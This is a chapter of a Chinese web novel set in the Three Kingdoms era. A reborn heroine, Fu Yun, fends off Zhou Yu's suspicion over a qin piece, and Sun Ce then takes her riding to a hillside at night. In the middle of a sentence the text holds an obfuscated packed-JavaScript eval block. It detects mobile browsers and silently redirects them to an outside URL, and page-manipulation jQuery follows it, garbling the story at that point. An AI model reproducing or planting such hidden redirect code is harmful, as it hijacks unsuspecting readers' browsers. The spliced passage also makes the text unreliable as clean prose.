他见她开窗,目光一下亮起来,但刚想说些什么,便看到面前人胸口起伏,下一瞬,几乎是赌气般地对着他喊了出来: “——谁要当你妹妹!” 孙策张了张嘴,话还没来得及说出口,伏韫已经“啪”地一声,用力关上了窗户。 夜风呼啸。孙策呆呆站着,像是被当头砸了一记闷棍,满脸茫然,愣了好一会儿,才喃喃道: “……不是……我这不是夸她嘛……怎么又生气了……” 7. 第七章 自那日后,伏韫便也在周家大宅住下了。 孙坚逝后,孙策归附袁术,自然在寿春落脚。而周瑜家境优渥,二世三公积淀,只为孙策行事方便,便一掷千金,在寿春这样的扬州州治之处购下二进二出的大宅。平日孙策在袁术军中操练,多未归家,而周瑜并非袁术编中,便在前院演武,与伏韫互不打扰。伏韫虽住进周瑜家中,但毕竟是女子,与二人同住多有不便之处,便择了东厢一处幽静院落。 这段时间,她闲来焚香抚琴,执笔阅牍,偶尔亦回味前世,拼凑时局残片,日子倒也过得静水流深,波澜不惊,仿佛并非乱世,而是三人作伴的世外之境。 目下秋意愈浓,庭中银杏叶影斑驳,光斑细碎。伏韫今日闲来无事,雅兴所致,便设琴于树下。这张琴并非伏韫所有,而是周瑜库中之物。伏韫暇时想抚琴消遣,却也不忍夺人所爱,便向周瑜要了个年岁久远的;周瑜虽爱琴,却也不愿空见爱琴束之高阁,便将自己如今最为心爱之琴借予伏韫,并意味深长地说:“既是知音,岂有藏拙之理?” 伏韫今日是第一次用这琴,小心翼翼将琴抬至庭中,稳了琴身,素手调弦,轻抚乐弦,几缕清音便潺潺而下,似山泉初融,流水汨汨。 此曲乃是《思玄操》,旷达舒畅,意境开阔,可今日抚弦,伏韫却莫名生出几分难以掩抑的怅惘,思绪已游离飞回到那段不堪追忆的往昔。 她与孙策成婚,先是吴侯夫人,后又执掌凤印,九重之上,万人之尊。但她知道,曾经某个春日午后,她的心,也曾为另一个人轻轻一跳。 那时她初出洞玄,十八九岁年纪,却未谙熟世事。琴技不过独学,技法生涩,常常出错。一次弹演《思玄操》的一段转音,手指一滑,琴音狰狞刺耳,令她面红耳赤。她重振旗鼓,方欲再来,身后传来一阵轻笑:“此处轮指,当如清风拂柳,轻柔无痕。” 周瑜白衣胜雪,缓步而来,眉眼不带丝毫讥讽之意,只在她身旁坐下,伸手于琴上演示。 这是她初次听他奏曲。彼时他已名满江左,顾曲周郎之名,连她亦有所耳闻。但她已不记得他的指法如何潇洒,只记得阳光下他的侧颜温和,辉光镀得他眉眼俊如冠玉,与澄澈之音,令少女心折。 伏韫回神,指尖不禁一顿。 周郎早逝,物换星移,此后种种,皆令她肝肠寸断。不是因为无法承受爱人的变心,而是不知为何曾经恣意挥洒的三人,最终的结局却一地鸡毛。重来一世,她不再是初出洞玄派时那个不谙世事的懵懂少女,而是一世风霜洗净、身负家恨国仇的女人,可所有一切,却一夜之间回归原点,令她不禁一时恍惚非常。 “铮——” 她心神未稳,又在一个并不复杂的勾弦处突兀一错。整首曲子的意境蓦然脱缰。 她怔然,正欲重来,身后又响起那个熟悉的声音。 “‘挑’后当接‘勾’,而非‘抹’。昭晦姑娘,可是心乱了?” 周瑜不知何时已立于她身后,但并未察觉她眼底一闪即逝的愣怔,在她身侧坐下,一如昨日重现: “此曲重在心境合一,昭晦姑娘可否再弹一遍?” 这一次,他没有亲自示范,只是静静坐着,等她重整神识。 伏韫深吸一口气,再度抚弦。琴声初起,轻盈如史册翻动;中段渐转低沉,似千古兴亡、转瞬皆空;至末声,只余风过城阙,长空孤雁,幽寂辽阔。 一曲既毕,清越之音绕梁久久,回荡不绝。 周瑜凝神听完,沉默片刻: “昭晦姑娘的琴艺已臻妙境,绝非初学可比。方才一误,想来只是心有所扰。” 他语下分明夸赞,却忽然锋芒一转: “只是瑜听这琴声,似藏了些……不该属于少女的愁绪。这一曲本应旷达洒脱,姑娘却弹出了沧桑遍历,苦心凭吊的意味。不知是我听错了,还是姑娘……心有所系?” 来了。 她知道,他又起了疑心。这次的试探更加直接,也更加棘手,且此时只有他们二人在此,若不好好应对,只怕真要叫他探出究竟。 思忖至此,伏韫旋即垂眸,语气带着几分故作老成的淡然: “难道所谓少女愁绪,就只能是小女儿姿态,伤春悲秋,多愁善感?韫近日闲来读史,阅毕周朝一段,感慨颇多。想来八百年国祚,风云变幻,多少英雄人物,最终皆成一抔过眼烟尘,不禁感怀难平……倒叫公子见笑了。” 周瑜微微一笑,神色温和,眼神却直直探来,像要穿透她笑意的帷幕,从灵魂深处捞出真相: “哦?昭晦姑娘的感怀确实深远入里。但瑜不知,姑娘究竟是为八百年王朝的兴亡而动情,还是——借古人酒杯,浇自家块垒?” 伏韫不觉一震,险些要露了破绽,慌忙垂下眼帘,笑得更天真几分: “呵……公子真会调笑。昭晦年方十五,能有何翻江倒海的心事?只不过心思纤细,喜怒哀乐皆有所感怀。何况公子如今亦是年少意气,莫非当年读《史记》,便不曾为荆轲赴死、易水诀别而热泪盈眶?” 周瑜静静看着她良久,仿佛在思量,又仿佛在无声叹息。 “姑娘说的是。是瑜唐突了。” 伏韫轻轻一笑,却知道这番话避实就虚,根本无法在他面前蒙混过关。他若是有心追究,迟早招架不住。 *** 周瑜离去后,伏韫独坐树下,良久未动。 耳边仿佛仍回荡着那句温润中藏锋的低语,如审判般不容闪躲: “……还是借古人酒杯,浇自家块垒?” 他是不是,已经察觉到了什么? 这念头如无声雷霆,令她顿觉胸间憋闷,心绪如乱丝,一时烦躁,起身步出门外,欲借庭外长风将杂乱从生的念头尽数吹散。 但方才步出庭门几步,身后便传来风风火火的脚步声,紧接着,是那个烈日般明朗的声音。 “伏妹妹!我找你半天,原来躲这儿偷懒?” 孙策毫无预兆地闯入,如骤起的旋风,直直闯入她面前。 “走,带你看个好东西!” “我……”她话未出口,手腕已被他一把扣住。 他的掌心灼热,带着不容拒绝的强硬气息。 她还未来得及抗议,下一刻,整个人已被他用一种近乎劫掠的姿态,捞上了战马。 “喂!你做什么!我还没答应呢!” 伏韫在马上挣扎,却被他从身后一拥。他手执缰绳,语息喷在她耳畔: “兜风!” 他双腿一夹马腹。战马长嘶一声,似离弦之箭直冲出去。伏韫身形一晃,尚未尖叫出口,孙策便摁住她肩头: “坐稳了!” 风声猎猎,伏韫被迫紧贴着他。太阳晒热的皮肤气息、未散尽的少年汗潮、贴身衣物间的当归甘草之香,三者交织成一股专属于他的温度,熟悉得让人几乎想落泪。 她不知道孙策要带她去哪里,她只知道,这个男人像一团无法被熄灭的火,正用他那不讲道理的霸道,将她方才被周瑜拨开的情绪,彻底烧得干干净净。 他未入军营,亦未奔闹市,而是一路策马直驱郊外,直到一处极高的山坡,方才勒缰止步。 眼前寿春万家灯火,在余晖未尽的天际,仿佛星汉倾覆,沉落人间。 孙策先下马,长臂一揽,竟用一种极其轻柔的力道,将她从马上稳稳地抱了下来。 落地的那一刻,伏韫一路的胆战心惊倾斜一地,皱眉数落道: “我可没说要来,你平时在军中也是这么霸道的?” 孙策瘪了瘪嘴,仿佛有些委屈地看着她: “我只想着伏妹妹这几日闭门不出,担心你还闷在那日的情绪里。瑜弟我已经帮你说他了,他说以后绝对再也不在你面前弹《双泉会》了。” 伏韫闻言,几乎是本能地要给他一拳: “谁让你自作主张了。我就爱听那曲子,不要你管!” 被伏韫当肩捶了一拳,孙策不怒反笑,看着她气势汹汹如烈马不羁的模样,不由得朗笑一声: “你这样就是没事了!太好了,我还以为你悲痛欲绝,才想着一定要带你来看看这里。” 他向前几步,又面朝伏韫,张开双臂,如邀功般,语气里带着几分得意: “怎么样?这地方不错吧?我私藏的。” 伏韫兀自坐在草地上,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030632|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在平复一路的心跳:“所以,你带我来这里,只是为了散散心?” 他不答,走至她身侧,盘膝坐下,迎风而望。 “昭晦妹妹。” 此生第一次,他唤她的字,用一种她从未听过的语气,如一头幼虎,热烈却迷惘。 他望着面前万家灯火,在夜色中沉睡的土地: “有时候我会想,如果父亲没死,我当如何?是否还会如此憋屈,在袁术手下,做他招之即来、挥之即去的鹰犬,眼睁睁看着他蚕食我父亲的旧部,却什么也做不了?” 她静静地看着他。如无数个日夜,她在深夜陪着他,听他诉说心中的隐伤。 “父亲死后,我也拜访不少名士,此前也与张纮子纲先生于江都畅谈,却始终如踏雾中,心中不安。我也想过,我胸中既知前途何在,虽前路漫漫,又何惧之有?但,我最近似乎有些明白了。” 他忽然低低笑了一声,带着清澈的不甘: “我怕的,是自己并不如想象中的强大。细想来我有今日,与自己可曾有分毫相关?我的根基,是父亲的长沙旧部;我的歇脚之处,是瑜弟出资;连袁公路曾经许诺的九江,都成了他人囊中之物。我想让整片土地,整个天下,都只记住我的名字,可我现在只能望江兴叹。昭晦妹妹,你说,我是不是很没用?” 风吹乱他鬓边碎发,月光照亮他眉眼,他的眼底,竟罕见流露出一道少年伤痛的深辙。 伏韫心头一颤,目光落在那张被夜色勾勒得凌厉却柔和的脸上,只轻声示慰道: “不,兄长。若你无用,又岂能驱策我与周公子伴随左右?你没有错,你只是还没等到那个,让你利剑出鞘的时机罢了。” 她目光微沉,仿佛越过城池堡垒,飘向一个飘渺不知所踪的终点: “终有一日,你会尽情挥洒你的才华,四方归附。你在袁术帐下憋屈多久,征战收复之势便有多迅疾。我说过,来日你脱离袁术,便如猛虎归林,整个江东,都会是你的乐园。” 孙策侧首,看着她在风中娴静的侧颜,忽然轻笑一声,恢复了往日的豪气干云: “昭晦妹妹的话,一向很准。借你吉言,来日若我果真打下江东,便也为你讨个封地。——不对,你应该不需要我讨。但我身为兄长,聊表心意,也是应当的。” 他傻傻一笑,她却怔了神,恍惚间,看到了那个在第一世,她也如此深爱过的少年。 那时他尚未成龙,她亦非恶凤。他会牵着她的手,指着舆图,笑得张扬,说要为她打下最盛大的天下。 “我已经把你当家人了。至于怎么叫,你喜欢就好。我们说过的,将来我会用整个江东换你一个人情。我孙策一言既出,驷马难追。” 他眼睛晶亮,直直看着她,眼底澄澈的真心满溢。那一刻,伏韫的心,被某种不可言说的情绪狠狠撞了一下。 成龙,成凤。 这一世,只要他还没有成为那九五之尊……他们之间,是否就还有—— 这个危险的念头,如毒藤般,在她心底悄然疯长。 “你头发上有东西。” 孙策忽然凑近,目光灼灼,抬手轻轻擦过她鬓角。 随即一只萤火虫从他指尖飞起,微光点点,融入夜色深处。 那一瞬,伏韫的呼吸陡然一滞。 第一世,亦是这般山坡,亦是如此夜色。她枕着他的膝头,他为她拨开鬓侧缠绕的草叶,俯身吻住了她,然后…… “你……你怎么脸红了?” 今生,眼前斯人却是直白莽撞的少年,满脸认真地盯着她,仿佛在打量一个谜题。 伏韫被猛然拽回现实,几乎是反射般别过头,耳根飞红,心跳如擂鼓: “没、没有!是你看错了。” 孙策静静看着她微颤的睫毛,游移不定的眼神,以及那抹瞬间浮起的羞赧红晕—— 他的心中也第一次,涌起了一点奇怪的悸动。 他告诉自己,这个人是自己的妹妹,是最好的战友。 但他也分明知道,他们之间,没有半分血缘关系。 他忽然觉得,眼前这个姑娘,似乎…… 有点,可爱。